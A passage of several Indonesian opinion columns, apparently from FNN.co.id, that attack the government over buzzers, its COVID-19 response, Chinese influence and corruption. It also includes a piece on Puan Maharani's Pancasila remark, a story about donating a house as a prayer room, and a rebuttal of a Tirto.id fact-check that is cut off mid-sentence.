stoning. Nggak tahan serangan trolls dan keyboard warriors pro pemerintah. Nangis-nangis. Lalu tuding pemerintah pelihara buzzer. No hard-evidence. Nggak ada bukti. Validitas tudingan masuk kategori hoax. Tudingan adanya buzzer-peliharaan adalah defence mechanism dari defeated groupings. Strategi orang kalah. Mereka ciptakan "The Common Enemy" for the audiences. Tempo sebagai old media membantu mereka dengan berusaha membentuk social realities adanya "buzzer peliharaan pemerintah". Moduz ini disebut Gamson dan Modigliani dengan istilah "social constructivism". Divided society masuk cyber space. Pro-kontra pemerintah. E-politics marak di social media. Netizens dua kubu. Ketika mendengung, mereka adalah buzzer. Di zaman lekra ada adagium "Semua orang adalah seniman". Sekarang kenyataannya “semua orang adalah jurnalist”. Serangan buzzer anti-pemerintah trigger netizens bersuara di ruang open democracy. Dua kubu sama-sama punya trolls dan keyboard warriors. Fungsinya adalah down-grade orang dan denigrasi sebuah issue menjadi kekacauan anarkistik. Mereka suka membuat marah, pull your strings until you are pist. Beberapa trolls melihat aktivitas mereka sebagai "an art form". Para trolls dua kubu aktif di arena "Swinging Dick Contest". Nggak pake nalar. No intent of proving reasoning or logic to any debate. Code of conduct para trolls tingkat tinggi atau "witty troll" adalah never angry, never swear, be vulgar dan never overly obnoxious. Troll Pro Pemerintah seringkali menang. Yang kalah jangan cengeng dan tuding-tuding Pemerintah Piara Buzzer. Mereka itu netizens. Dasar Pecundang. What a nasty loosers… Penulis adalah Pemerhati Politik dan Sosial Budaya.

Jurus Mabuk Corona Potret Pemerintahan Gagal

by Jusman Dalle Jakarta FNN - Sabtu (5/9). Maret, Corona baru mendarat di Jakarta. Dari Wuhan, China. Diduga via jalur turis Jepang. Begitu hipotesa dari hasil riset whole genome sequencing SARS-CoV-2 oleh para ilmuwan. Kebatinan Indonesia ketika itu? Menegangkan. Para kepala daerah memblokir perbatasan. Diamini rakyat. Berbagai pelosok heboh. Masyarakat swadaya pasang barikade. Melarang orang baru masuk. Demi mengerem laju pergerakan manusia. Aura lockdown menyelimuti negeri ketika itu. Sesuai perintah UU karantina wilayah. Apalagi Lockdown yang dilakukan masif di berbagai belahan dunia, terbukti berhasil. Seperti Italia, Malaysia & beberapa negara lainnya. Eeeh, tiba-tiba muncul istilah oplosan. Lockdown tapi tidak lockdown : PSBB. Pembatasan Sosial Berskala Besar. Kedengarannya sangar. Tapi ambyar! Pemerintah pusat, melalui Mendagri Tito Karnavian bahkan mendatangi Pemprov DKI untuk menegaskan tidak ada lockdown. Arsip beritanya masih tersimpan rapi di internet. Di kanal-kanal media sosial, netizen menilai sikap pemerintah pusat itu sangat politis. Memang begitu adanya. Pandemi dijadikan panggung politik. Seolah ada yang ingin tampil jadi pahlawan. Sementara situasi sedang gawat darurat. Sejak awal, para ahli juga sudah mewanti-wanti pemerintah pusat. Pakar epidemiologi teriak di berbagai media dan forum. Agar pemerintah tegas melakukan lockdown. Tapi berdalih ekonomi, tidak ada lockdown. Hasilnya? Corona meroket. Ekonomi merosot. Jika saja ada visi kepemimpinan, punya skala prioritas, lockdown dilakukan sejak awal. Corona terkendali. Ini sudah terbukti di negara lain. Ketakutan terbesar pemerintah pusat ketika itu, karena mandat UU Karantina Wilayah yang mewajibkan pemerintah menyuplai kebutuhan warga selama masa lockdown. Padahal, jika dikalkulasi, ongkos lockdown tidak lebih dari Rp10 Triliun untuk mengunci Covid19. Tidak separah saat ini. Menurut data, di DKI Jakarta ada 3,6 juta kepala keluarga. Sebelum krisis 1,1 juta KK dapat bantuan. Kini 2,4 juta KK dapat bantuan dari Pemprov. Artinya, 1,2 juta KK dianggap masyarakat mampu. Jika dikasih bantuan lockdown, kemungkinan besar bantuan itu diteruskan ke orang tidak mampu. Sembako bantuan pemerintah, menurut data, habis dikonsumsi satu KK selama 14 hari. Dalam sekali menggelontorkan sembako, Pemprov DKI menganggarkan Rp900 miliar. Kita bulatkan Rp 1 trilun. Dengan simulasi itu, dalam sebulan pemerintah cuma mengeluarkan Rp2 triliun. Tapi hasilnya, covid19 terkunci di Jabodetabek. Ini kita berimajinasi bulan Maret. Ketika covid19 cuma ada di DKI. Bicara skenario lockdown ketika kasus pertama ditemukan. Sebelum ada drama mudik dan pulang kampung. Sebelum para pejabat teras Istana saling sanggah di media. Maka bila lockdown dua bulan, artinya pemerintah cuma perlu mengeluarkan anggaran Rp4 triliun. Dan saya yakin, jika skenario itu ditempuh covid19 pasti akan terkendali. Energi tidak terkuras membereskan satu negara. Lalu ekonomi Jabodetabek yang “dikorbankan” bisa lekas pulih. Tidak seperti sekarang. Keduanya tandas. Covid19 menginfeksi se Indonesia. Rakyat berguguran. Ini yang paling menyedihkan. Di penghujung bulan Kemerdekaan kemarin kita disergap ketakutan. Soal kabar bahwa kapasitas rumah sakit se Indonesia diprediksi tidak akan sanggup lagi menyanggah pasien. Bukan cuma pasien Corona. Tapi pasien jenis penyakit lain. Prediksi itu diutarakan Prof. Dicky Budiman. Epidemiologi Indonesia dan akademisi Griffith University, Australia. Sembari jogging, saya menyimak penjelasan sang pakar pada tanggal 31 Agustus. Di siaran podcast BBC Indonesia. Di hari yang sama, beredar poster jika dokter yang gugur sudah 100 orang. Tertinggi di dunia. Layanan kesehatan kita, bak digencet dari berbagai sisi. Rumah sakit meniti jalan menuju over kapasitas. Tenaga medis tumbang. Energi terkuras. Kewalahan. Namun pasien terus bertambah. Bahkan bikin rekor anyar. Lagi! 3.308 positif dalam sehari. Tidak ada lagi yang bisa merepresentasikan fakta-fakta itu kecuali frasa : pemerintahan ini terbukti gagal! Penulis adalah Praktisi Ekonomi Digital.

Jangan Menjadi Bangsa Kodok

by M. Rizal Fadillah Dalam artikel "A Nation of Frogs" , William A. Borst, Ph.D. menulis dengan pas tentang komunis yang "memasak" bangsa kodok. "The fact is Communism is still very much alive and thriving in this country. It has taken on a more subtle, destructive guise. The situation is analogous to the frog that is put into a pot of tepid water. If the cook were to quickly increase the temperature of the water, the frog would quickly jump out to safety. But the smart cook increases the temperature, only gradually, so that the poor frog does not realize it is being slowly but surely boiled to death. Jakarta FNN – Ahad (05/09). Hewan sering diajdikan sebagai perumpamaan. Manusia yang sering beriringan dan bertegur sapa, dan saling silaturahim dimisalkan seperti komunitas semut. Mereka yang selalu menjaga masukan dan bagus keluaran itulah lebah. Sedangkan anjing adalah tipe penista. Anjing kalau diusir menjulurkan lidah. Dipanggil juga menjulurkan lidah. Sementara babi itu hewan yang tak pedulian dan jorok. Bebek "ikhlas" untuk digiring giring. Macan ditakuti dan disegani. Macan Asia adalah gelar untuk pertumbuhan ekonomi negara di Asia yang dikagumi. Kodok hidupnya di dua alam, di air dan darat. Kalau kerenang di air dengan cara menendang, dan berjalan di darat dengan melompat sana-sini. Bersuara ramai tak berirama. Umumnya menjijikkan. Manusia dinilai aneh jika punya hobby memelihara kodok. Dimakan oleh orang-orang aneh pula. Anak kodok hanya kepala dan ekor Kodok berubah bentuknya saat dewasa. Cebong adalah sebutan anak kodok. Cebong hanya bisa hidup di air. Mati di jika berada di darat. Untuk itu, anak kodok harus selalu "berbasah-basahan" kalau mau hidup. Bangsa Indonesia yang beragama dan berbudaya jangan menjadi bangsa kodok. Bangsa inkonsisten yang diombang-ambing oleh "alam". Mudah berubah tergantung pada koloni atau hegemoni. Selalu maju ke depan tak bisa mundur. Aib rasanya untuk mundur. Ketika maju di tempat yang basah, perlu menendang sana-sini. Sedangkan di tempat kering, juga melompat-lompat cari makan dan keamanan. Kalau tidak nendang sana-sini. Lompat sana-sini, maka kematian telah menunggu bangsa kodok di depan mata. Bangsa kodok adalah bangsa yang nyaman dibodohi dan dininabobokan. Dibunuh pelan-pelan dengan "kehangatan". Dimakan ideologi asing secara halus dan sistematis tanpa terasa. Adapun yang mahir untuk membunuh tanpa belas kasihan adalah Komunis. Dalam artikel "A Nation of Frogs" , William A. Borst, Ph.D. menulis dengan pas tentang komunis yang "memasak" bangsa kodok. "The fact is Communism is still very much alive and thriving in this country. It has taken on a more subtle, destructive guise. The situation is analogous to the frog that is put into a pot of tepid water. If the cook were to quickly increase the temperature of the water, the frog would quickly jump out to safety. But the smart cook increases the temperature, only gradually, so that the poor frog does not realize it is being slowly but surely boiled to death. Nah begitulah cara Komunis untuk membuat nyaman. Namun secara pelan-pelan dan bertahap membunuh bangsa kodok. Indonesia harus waspada pada negara Komunis RRC yang mampu menghangatkan secara gradual hingga panas yang mematikan. Investasi dan debt trap adalah jalan "the poor frog doesn't realize it is being slowly but surely boiled to death". Sekali lagi penyelenggara negara jangan berupaya menciptakan kondisi rakyat menjadi bangsa kodok. Sadarlah bahwa sikap yang seperti itu sama saja dengan menjerumuskan rakyat dan bangsa Indonesia ke dalam panci besar "perebusan" kematian. Penulis adalah Pemerhati Politik dan Kebangsaan.

Perbedaan Antara Kerajaan Qatar dan Republik Qotor

by Asyari Usman Jakarta FNN - Jumat (04/09). Sekitar bulan April 2018 (sudah cukup lama, lebih dua tahun lalu), ada postingan di FB salah seorang teman dengan judul “Qatar adalah Negara Paling Aneh di Dunia”. Tulisan ini memuji Qatar sebagai negara yang penduduknya paling makmur dari segi finansial. Pendapatan per kapita rakyatnya mencapai USD132,000 atau setara dengan Rp1.7 miliar setahun. Dengan penghasilan segitu besar, negara masih menyediakan semua fasilitas hidup untuk warga negara Qatar –sebuah negara kecil di jazirah Arab. Mau sekolah atau kuliah di mana saja, mau berobat di mana saja, negara yang menanggung. Kabarnya juga, laki-laki yang telah atau mau beristri empat (4), dibiayai oleh negara. Satu rumah untuk tiap istri. Plus beberapa orang pembantu. Penduduk Qatar hanya sekitar 315,000 jiwa. Sedangkan pekerja asing yang ada di negara itu mencapai 2.3 juta orang. Bisa dibayangkan seberapa besar pengeluaran negara kecil itu untuk menggaji orang asing. Dan ingat! Pastilah ratusan ribu orang diantara 2.3 juta itu adalah tenaga ahli yang berkualifikasi tinggi. Artinya, gaji mereka pun pasti selangit. Walhasil, semua orang yang hidup di Qatar merasakan kemakmuran yang boleh dikatakan sempurna. Terlebih-lebih rakyat negara itu sendiri. Semua disediakan negara. Apa saja keperluan rakyatnya tinggal kasih tau kerajaan. Begitulah kira-kira. Tentu saja wajar kalau sedunia ini merasa kagum sampai berdecik-decik. Pantas juga kalau ada yang ‘ngiler’. Tidak masalah. Karena ngiler ‘kan tidak dipungut biaya. Wajar-wajar saja. Yang tidak wajar ialah kalau Anda, rakyat Indonesia, membanding-bandingkan kemakmuran rakyat Qatar dengan rakyat di negara ini. Kenapa tidak wajar? Karena cara Indonesia ini dikelola sangat lain dengan cara Qatar diurus oleh para pemimpinnya. Di Qatar, para pemimpin, para emir, sangat menghargai rakyat mereka. Mereka bangga dengan rakyatnya. Mereka memiliki ambisi yang positif untuk rakyatnya. Para pemimpin Qatar paham bahwa rakyat merekalah yang harus dilayani. Bukan orang luar. Di sini, terbalik. Kemakmuran yang digali dari bumi negara ini dikirim ke luar. Belakangan ini, banyak dikirim ke RRC. Paling-paling rakyat kebagian ampas, sampah, dan limbah galian. Kebagian yang kotor-kotor. Kerajaan Qatar mencukupi keperluan rakyatnya. Merawat rakyatnya. Di sini, para penguasa melayani para majikan mereka yang membawa pundi-pundi utang. Kemudian, para penguasa menilap uang utangan itu untuk rekening gendut mereka. Begitulah cara kerja pikiran kotor. Para pemimpin di kerajaan Qatar membuat APBN untuk kesejahteraan rakyatnya. Di sini, para pemimpin menyusun APBN agar bisa dicuri. Begitulah pikiran kotor. Di Kerajaan Qatar, sebutan untuk pendapatan rakyatnya adalah “penghasilan bersih”. Di negeri kita ini, pendapatan rakyat selalu disebut “penghasilan kotor”. Sering ‘kan Anda ditanya atau bertanya: “berapa penghasilan kotor”? Karena memang yang diterima rakyat kita itu yang kotor-kotor. Yang kotor-kotor dari lahan tambang. Yang kotor-kotor dari pengerjaan proyek-proyek besar. Yang kotor-kotor dari pembangunan fisik, dll. Jadi, penghasilan rakyat di sini memang ‘literally’ disebut “penghasilan kotor”. Berbeda dengan penghasilan rakyat di Qatar. Mereka selalu menyebut “penghasilan bersih”. Karena semuanya bersih. Tempat kerja, bersih. Layanan rumah sakit, bersih. Jalan raya, bersih. Jalan kecil, bersih. Bantuan dari negara diterima bersih, tanpa korupsi. Melihat kondisi yang ada sekarang di negeri ini, tampaknya Anda semua harus bersabar. Bersabar menerima yang kotor-kotor itu. Bersabar menyaksikan pikiran-pikiran kotor. Itulah beda antara Kerajaan Qatar dengan Republik Qotor. Anda harus berjuang keras untuk mengganti dua huruf “o” di Republik Qotor menjadi huruf “a” agar tidak terus-menerus “kotor”. Penulis adalah Wartawan Senior FNN.co.id.

Giliran Puan Versus Masyarakat Sumatera Barat

by M. RIzal Fadillah Bandung FNN – Jum’at (04/09). "Semoga Sumatera Barat menjadi Provinsi yang mendukung Negara Pancasila". Begitu himbauan Puan Maharani saat mengumumkan rekomendasi PDIP pada pasangan Calon Gubernur (Cagub) Suametar Barat Mulyadi dan Ali Mukhni. Sontak ucapan Puan ini menimbulkan reaksi keras dari banyak pihak. Penyataan Puan dinilai sangat menyinggung, menyakiti perasaan masyarakat Sumatera Barat. Penyataan tersebut juga mengindikasikan kalau Puan telah meragukan kesetiaan masyarakat Sumatera Barat kepada Pancasila sebagai dasar negara. Bersamaan dengan itu, juga sangat merugikan pasangan Cagub yang diusung oleh PDIP sendiri. Menyinggung karena menganggap Sumatera Barat sebagai Provinsi yang tak setia atau tak mendukung Negara Pancasila. Padahal tokoh tokoh Sumatera Barat banyak yang menjadi loyalis, pejuang, bahkan perumus dasar negara Pancasila. Mohammad Hatta adalah Proklamator Negara Pancasila. Merugikan pasangan PDIP, karena menjadi beban berat bagi pasangan tersebut dimata pemilih atau rakyat Sumatera Barat. Pasangan PDIP bakal dimusuhi habis-habisan oleh banyak warga Sumatera Barat yang merasa dilecehkan oleh anak Ketum PDIP tersebut. Bukan mustahil bisa muncul "negative campaign" terhadap pasangan Cagub yang diusung oleh PDIP. Misalnya, akan muncul himbauan agar masyarakat Sumatera Barat silahkan pilih pasangan Cagub mana saja. Asal jangan pilih pasangan yang didukung oleh PDIP, karena pimpinan PDIP telah mengghina masyarakat Sumatera Barat. Puan bukan saja tidak taktis dalam memilih diksi sebagai politis sekelas Ketua DPR. Tetapi juga lucu, atau mungkin masih lugu sebagai politisi. Bisa juga belum matang, meski sudah menjadi Ketua DPR. Atau mungkin saja masih kelas, bahkan tipikal politisi karbitan dan kacangan. Apakah mungkin saja ada persoalan serius yang mengganjal atau perlu klarifikasi? Pancasila yang mana yang dimaksud oleh Puan? Sebab bila Pancasila yang kini diakui yaitu rumusan 18 Agustus 1945, maka warga Sumatera Barat tentu tidak diragukan loyalitasnya. Seperti uraian di atas, bahwa pendiri negara itu banyak dari kalangan tokoh Sumatera Barat. Nah, jangan-jangan yang dimaksud oleh Puan adalah Pancasila 1 Juni 1945. Pernyataan Puan ini tentu saja bukan hal mengada-ada. Ada basis argumen dan dasar pijakannya. Karena PDIP secara platform partainya memang berjuang untuk menegakan Pancasila 1 Juni 1945. Pada Pasal 10 butir g Anggaran Dasar PDIP berbunyi seperti ini : "mempengaruhi dan mengawasi jalannya penyelenggaraan negara agar senantiasa berdasarkan pada ideologi Pancasila 1 Juni 1945, UUD 1945 serta jalan Trisakti sebagai pedoman strategis dan tujuan kebijakan politik partai demi terwujudnya pemerintahan yang kuat dan efektif, bersih, dan berwibawa". Plaform Anggaran Dasar PDIP ini diperkuat oleh Pasal 6 sebagai aturan yang mendahuluinya. "(a) alat perjuangan guna membentuk dan membangun karakter bangsa berdasarkan Pancasila 1 Juni 1945". Nah, jelas dan wajar jika muncul keraguan bahwa Pancasila yang diperjuangkan oleh PDIP beserta kader-kadernya adalah bukan Pancasila 18 Agustus 1945. Dalam keraguan seperti ini menjadi aneh jika Puan Maharani berharap pada masyarakat Sumbar agar menjadi pendukung Negara Pancasila. Kecuali jika Puan memaknai yang dimaksud adalah Pancasila 1 Juni 1945. Keceplosan atas "keluguan" atau "kelucuan" Puan ini mesti menjadi pelajaran bagi PDIP untuk berpolitik lebih konsisten dalam membela Pancasila. Bukan merasa yang paling ber-Pancasila dengan realita pemaknaan Pancasila yang kabur. Perlu evaluasi mendasar untuk meluruskan. Tanpa evaluasi dan koreksi PDIP akan menjadi sorotan sebagai partai yang perongrong Pancasila. Jadi, penilaian dari ucapan Puan bukan hanya melecehkan warga Sumatera Barat, dan merugikan pasangan PDIP, tetapi juga sikap yang merasa paling Pancasila di tengah upaya untuk pengaburan Pancasila. Megawati sang ibunda pernah menyebut saat ini kita tak perlu lagi memperdebatkan soal Pancasila. Setuju saja, jika itu adalah Pancasila 18 Agustus 1945, akan tetapi jika yang dimaksud dan diperjuangkan adalah Pancasila 1 Juni 1945, maka rakyat dan bangsa Indonesia harus dan wajib memperdebatkan dengan sekeras-kerasnya. Sekali lagi sekeras-kerasnya. Penulis adalah Pemerhati Politik dan Kebangsaan.

Wakafkan Tempat Tinggal Jadi Mushola, Allah Ganti 12 Rumah

Malam Sabtu solat Tahajjud, malam Minggu Tahajjud dan malam Senin Tahajjud. Malam Senin Tahajjud dan sempat solat subuh terlambat. Ketika solat Tahajjud malam Senin itulah ada semacam bisikan agar rumah jangan ditukar, tetapi harus diwakafkan menjadi musola. by Mangarahon Dongoran Jakarta FNN - Jumat (4/9). Multazam. Hampir semua umat Islam, terutama yang sudah melaksanakan Ibadah Haji dan Umrah tahu nama itu. Multazam merupakan bagian dari Ka'bah yang mulia, yang terdapat di antara Hajaral Aswad dan pintu Ka'bah. Multazam adalah salah satu tempat yang diyakini umat Islam sebagai tempat yang paling mustazab untuk memanjatkan do'a kepada Allah Subhanahu Wa Ta'ala. Al-Multazam. Nama itu pun diberikan pada sebuah musola yang berada di gang sempit, di Jalan Slipi Kebun Sayur Rt 12 Rw 03, Kemanggisan, Kelurahan Palmerah, Jakarta Barat. Ya, musola tersebut berada di antara dempetan rumah penduduk yang sangat padat. Berada di pemukiman padat bisa dimaklumi karena musola ini juga awalnya adalah sebuah rumah tinggal. Bangunan dua lantai yang berdiri di atas tanah 80 meter persegi itu adalah wakaf dari H.Mulyadi (52 tahun) dan keluarga. Jika sekedar tanah wakaf tentu sudah biasa juga dijumpai pada maasjid dan musola yang sejak awal pembangunannya diperuntukkan bagi tempat ibadah kaum Muslimin itu. Akan tetapi, sebuah bangunan rumah tinggal yang kemudian diwakafkan menjadi musola tentu berbeda ceritanya dan jarang terjadi, apalagi berada di kawasan padat penduduk. Rata-rata menilai, yang tinggal di kawasan padat identik dengan kelas ekonomi menengah ke bawah. Awalnya saya mendapatkan cerita tentang wakaf ini ketika saya solat di musola itu. Ada cerita unik dan kurang masuk akal. Katanya, anak H. Mulyadi sempat jatuh dari lantai dua musola itu. Jatuh karena sang pemilik rumah sempat berubah niat. Awalnya berniat mau mewakafkan secara total rumahnya untuk musola, kemudian berubah niat menjualnya dan sebagian uangnya disumbangkan untuk membangun musola. Akan tetapi, kalau Allah Subhanahu Wa Ta'ala berkehendak, apa pun bisa terjadi. Cerita jemaah seusai solat Ashar tersebut kemudian saya cocokkan dengan Mulyadi. Ceritanya hampir sama. Ia yang ditemui di tempat usahanya, Jagal Mania di kawasan Ciputat, Tangerang Selatan, Banten mengiyakan cerita yang saya peroleh itu, walau agak berbeda sedikit. Ia pun menceritakan asal-muasal rumahnya itu diwakafkan menjadi musola. "Saya itu anak jalanan. Tidak mengerti agama Islam. Tahu Islam, tapi tidak dipelajari," katanya mengawali ceritanya. Menurut Mulyadi, ia "anak jalanan" yang sudah biasa berjualan daging sapi dan menjadi jagal sapi. Ceritanya, tahun 2003, ada pedagang daging di Pasar Bendungan Hilir (Benhil), Jakarta Pusat, tiba-tiba mengajaknya menunaikan Ibadah Haji. "Tahun 2003, Pak Cecep mengajak saya naik haji. Waktu itu ongkos kalau tidak salah Rp 23 juta. Ya, ajakan itu saya terima dan langsung mendaftar. Waktu itu, daftar bisa langsung berangkat. Pergi haji sekalian belajar agama. Ya belajar solat dan lainnya," ujar Mulyadi dalam perbincangan dengan penulis, Senin, 31 Agustus 2020 malam. Menurut pengakuannya, sejak diajak naik haji dan kemudian mendaftar itulah ia benar-benar belajar solat. Ia pun dengan tekun dan khusuk belajar dan beribadah. Ia mendengarkan ceramah dari ustaz, kalau naik haji perbanyak berdoa di Multazam. Apa yang didengarnya itu dilakukannya saat tiba di Tanah Suci. Multazam di dalam Masjidil Haram menjadi tempat ia senantiasa memanjatkan doa. Suatu ketika, saat berdoa di Multazam, ada semacam bisikan kepadanya agar rumah tempat tinggalnya dijadikan musola. Di dalam hatinya, ia pun memgatakan, sepulang ke Indonesia akan mewakafkan rumahnya menjadi musola. Padahal, ia belum memiliki rumah kedua. Waktu itu, ia sudah memiliki tempat jagal atau pemotongan sapi seluas 3000 meter persegi yang dia kontrak Rp 50 juta per tahun. Akan tetapi, ia sudah bertekad bulat menjadikan rumahnya itu menjadi musola. Setiba di Indonesia, ia mengutarakan niat itu kepada keluarga. Keluarga tentu tidak keberatan jika rumah yang dibeli tahun 2001 seharga Rp 50 juta itu diwakafkan. Mendengar ceritanya yang ingin mewakafkan rumah tersebut, godaan setan justru datang. Padahal, ia sudah semakin rajin beribadah, terutama solat wajib dan sunnah. Suatu ketika, tetangga di depan rumahnya menawarkan agar tukar-menukar rumah. "Ketika itu, sambil jalan pulang solat Jumat, Pak Wari, tetangga di depan rumah saya menawarkan agar tukaran rumah. Luas rumah Pak Wari 100 meter per segi. Kan itu lebih luas dari rumah saya yang 80 meter per segi. Selain itu, Pak Wari juga menawarkan tambahan uang Rp 50 juta," kata Mulyadi yang sehari-hari dipanggil Pak Mul itu. Tawaran itu pun diterimanya. Sebab, ia bertekad rumah tukar-tambah dengan Wari itu tetap diwakafkan menjadi musola. "Sepulang shalat Jum'at saya iakan tukar rumah, sore harinya anak saya, Yusuf Shoopy Sugandha jatuh dari lantai dua. Langsung dibawa ke RS Patra Ika yang tidak jauh dari rumah. Rumah sakit tersebut merujuk ke RS Harapan Kita. Tapi RS Harapan Kita juga menolak dan merujuk ke RS Tjipto Mangunkusumo. Ya, anak saya yang masih TK dibawa menggunakan ambulans dari rumah sakit pertama sampai ke RS Tjipto," katanya mengenang peristiwa itu. Sejak jatuh anaknya tidak sadar. Sebab, jatuh dari lantai dua dengan posisi kepala belakang membentur jalan gang di depan rumahnya. Ya, jatuhnya telentang dan kepalanya membentur benda keras berupa jalan gang yang dibeton. Tiga hari tiga malam anaknya dirawat di RS Tjipto dalam kondisi tidak sadar atau koma. Sejak dirawat di RS Tipto Sabtu malam, Mul selalu melaksanakan solat Tahajjud di musola yang ada di rumah sakit itu. Malam Sabtu Tahajjud, malam Minggu Tahajjud dan malam Senin Tahajjud. Malam Senin Tahajjud dan sampai solat subuh terlambat karena tertidur. Ketika solat Tahajjud malam Senin itulah ada suara, membisikkan agar rumah jangan ditukar, tetapi harus diwakafkan menjadi musola. "Selesai solat subuh, saya telefon Pak Wari. Saya kabarkan, tidak jadi tukar rumah," katanya. Wari pun memakluminya. Mul menceritakan peristiwa luar biasa dialami anaknya. Senin, selesai solat Dhuha, anaknya sadar dan langsung memanggilnya. Anak saya langsung panggil saya, "Ayah..." "Itu terjadi setelah saya selesai Dhuha," ujar pria yang rajin puasa Senin dan Kamis itu. Semestinya, Senin siang atau sore sudah bisa keluar dari rumah sakit. Akan tetapi, dokter memutuskan keluar Selasa. Padahal, anaknya yang kini sudah kuliah itu, sudah normal. Peristiwa di bulan Muharram tahun 2003 itu, sempat menjadi pemberitaan harian terkemuka di ibukota, karena dianggap bayi ajaib. Selasa, anaknya keluar dari RS Tjipto. Akan tetapi, Mulyadi dan keluarga tidak pulang ke rumah tinggal mereka. Ia memilih membonyong seluruh keluarganya ke tempat kontrakan yang dia jadikan tempat usaha jagal sapi. Sejak pulang dari rumah sakit itu, Mul dan keluarga tidak pernah lagi tinggal di rumah mereka. Langsung diwakafkan menjadi musola. "'Saya tidak mau pulang ke sana (rumah tempat anaknya jatuh), melainkan ke kotrakan ini, "katanya merujuk tempat usahanya yang akhirnya dia beli seharga Rp 1, 2 miliar. Kini, tempat usaha pemotongan hewan miliknya (potong sapi dan ayam), sudah ditawar pengembang perumahan terkenal seharga Rp 30 miliar. Namun, ia tidak menjualnya. Satu tahun setelah peristiwa anaknya jatuh (2004), ia mampu membeli 12 unit rumah yang ukurannya lebih luas dan lebih mewah dari yang diwakafkan menjadi musola. Termasuk membeli rumah tinggalnya sekarang, di Villa Mutiara, tidak jauh dari Stasiun Kereta Api Sudimara. "Allah ganti, tidak hanya ganti satu. 12 rumah Allah ganti. Dalam jangka satu tahun," katanya. Secara total, tiga tahun setelah mewakafkan rumah menjadi musola, Mul mampu membeli 12 unit rumah (sekarang tinggal 5 unit, karena sebagian dijual), membeli lahan pemotongan hewan seharga Rp 1,2.miliar, dan juga membeli sebuah villa di Kawasan Cipanas, Puncak, Jawa Barat. Villa tersebut tidak disewakan. Hanya digunakan untuk acara keluarga, dan acara keislaman, termasuk untuk acara anak-anak yatim-piatu. Bisnis ayah dari empat orang anak ini terus berkembang. Kini ia mempekerjakan 60 orang, dan terbanyak di pemotongan ayam.. Meski bisnis terus berkembang, namun selama wabah Corona Virus Disaeda 2019 (Covid-19), ia juga merasakan dampaknya. Sebelum Covid-19 atau hari-hari normal ia mampu memotong 30 ekor sapi per hari. "Sekarang turun jauh," kata Mul yang mengaku sempat dipinjamkan modal Rp 300 juta dari seseorang. Yang masih bagus pemotongan ayam. Meski turun, tapi masih mampu memasok dua truk atau 3.000 ekor ayam potong per hari ke berbagai restoran. Sebelum Covid-19, bisa memasok 4.500 sampai 6.000 ekor per hari. "Sekarang tidak ada instansi yang memesan. Kalau sebelum corona, banyak instansi yang memesan daging sapi dan ayam. Misalnya, perusahaan pelayaran," katanya. ** Penulis adalah Wartawan Senior FNN.co.id.

Penghakiman Yang Sangat Prematur

by Muhammad Haris Wijaya Jakarta FNN – Kamis (03/09). Saya tuliskan ini sebagai buah pikir dan perantara rasa resah saya atas “labelling” false dan misleading information yang diberikan oleh media Online bernama “Tirto.id” kepada sahabat saya Dharma Pongrekun berkenaan tentang “pendapat” nya mengenai candu gawai. Saya teringat petuah yang disampaikan oleh Bapak Proklamator Indonesia Ir. Soekarno yang begitu menggugah dalam konteks saat ini. “Apabila di dalam diri seseorang masih ada rasa malu dan takut untuk berbuat suatu kebaikan, maka jaminan bagi orang tersebut adalah tidak akan bertemunya ia dengan kemajuan selangkah pun” ucap Bung Karno. Konsep pemahaman dasar inilah yang membimbing Bung Karno menjadi sosok pembeda di saat itu. Beliau berani menyuarakan gagasannya kepada dunia, hingga saat itu Indonesia menjadi salah satu negara yang disegani. Beliau berani untuk keluar dari ‘trek’, dimana dunia saat itu sedang dalam situasi perang dingin antara blok barat dengan blok timur. Dengan briliannya, Bung Karno menginisiasi Gerakan Non-Blok dan mengajak negara-negara dunia ketiga untuk ikut serta dengan Gerakan Non Partisan tersebut. Sikap heroik Bung Karno membuat nama beliau harum. Bahkan sampai sekarang banyak negara-negara yang masih menghormati beliau. Hal tersebut dapat terjadi karena beliau berani untuk mengambil pandangan soal kebenaran pada era itu. Tidak melulu soal mendukung Blok Barat ataupun berpihak ke Blok Timur. Bong Karno menerapkan kebenaran versinya sendiri, dimana perdamaian dunia dapat dicapai dengan tanpa harus memihak. Apa yang dapat dipetik? Sederhananya, there is no absolute truths. Setiap orang berhak untuk memperjuangkan kebenaran menurut versinya sendiri. Saya bukan penganut aliran relativism. Namun saya meyakini bahwa setiap pendapat, setiap pemikiran, ataupun setiap pandangan adalah hak yang dimiliki oleh seseorang manusia sebagai sebuah entitas yang bebas. Kemelut dalam hidup tidak melulu dapat diselesaikan oleh ragam teori saat ini, sebab setiap ilmu pengetahuan akan selalu menyisakan ruang kosong dan menjadikannya itu sebagai sebuah misteri. Perlukah setiap manusia untuk menemukan jawaban atas kekosongan itu? Tentu perlu. Tetapi, apakah setiap manusia “mampu” menemukannya? Nah, jawabnya belum tentu. Dengan pembuka diatas, lantas saya ingin menuliskan tentang sebuah kegelisahan yang merundung lobus frontal otak saya atas sebuah artikel yang diterbitkan oleh media Tirto.id dalam kolom “periksa fakta”. Sudah ratusan artikel periksa fakta yang dimuat oleh Tirto.id. Sampai akhirnya seorang rekan saya mengirimkan link artikel dari Tirto.id yang menyematkan label false dan misleading terhadap sebuah postingan instagram seorang petinggi Polri, yakni Komjen Polisi Dharma Pongrekun. Saya kembali membaca postingan Dharma secara utuh dan mengesampingkan terlebih dahulu narasi yang dibangun oleh Tirto.id. Secara substansi, saya melihat kegelisahan seorang Dharma akan candu manusia pada gawai atau gadget yang sudah sedemikian rupa merusak susunan luhur tubuh kita, atau dalam konteks ini Dharma menyebutnya ‘manusia dijauhkan dari fitrahnya’. Keterikatan manusia dengan gadget memang tidak dilakukan secara sporadis. Semua bertahap dengan anak-anak tangga yang telah kita lewati bersama. Setiap pembaharuan fitur smartphone hari-hari ini, tanpa kita sadari memang membuat rasa candu itu mulai muncul dan berkembang didalam jiwa kita. Beragam surveyor melakukan penelitian tentang berapa jam dalam sehari manusia menghabiskan waktunya menggunakan smartphone? Ada yang menyebutkan bahwa kita habiskan waktu tiga jam, empat jam, lima jam, bahkan delapan jam dalam satu hari untuk memainkan gadget. Bukankah itu sebuah sinyalemen yang patut kita cemaskan? Sesungguhnya, poin terpenting yang ingin Dharma sampaikan adalah awareness kita harus dibangkitkan kembali untuk mengantisipasi sisi buruk penggunaan gadget yang berlebihan. Ditakutkan, apabila kita tenggelam dalam rasa candu yang pada akhirnya merusak body intelligent kita. Keliru Memahami Tujuan Terdapat setidaknya dua kesalahan fundamental yang dilakukan Tirto.id, dalam sebuah artikel berjudul “Komentar Dharma Soal Gawai, Candu dan Perusakan Sel, Hoaks atau Fakta? Kesalahan 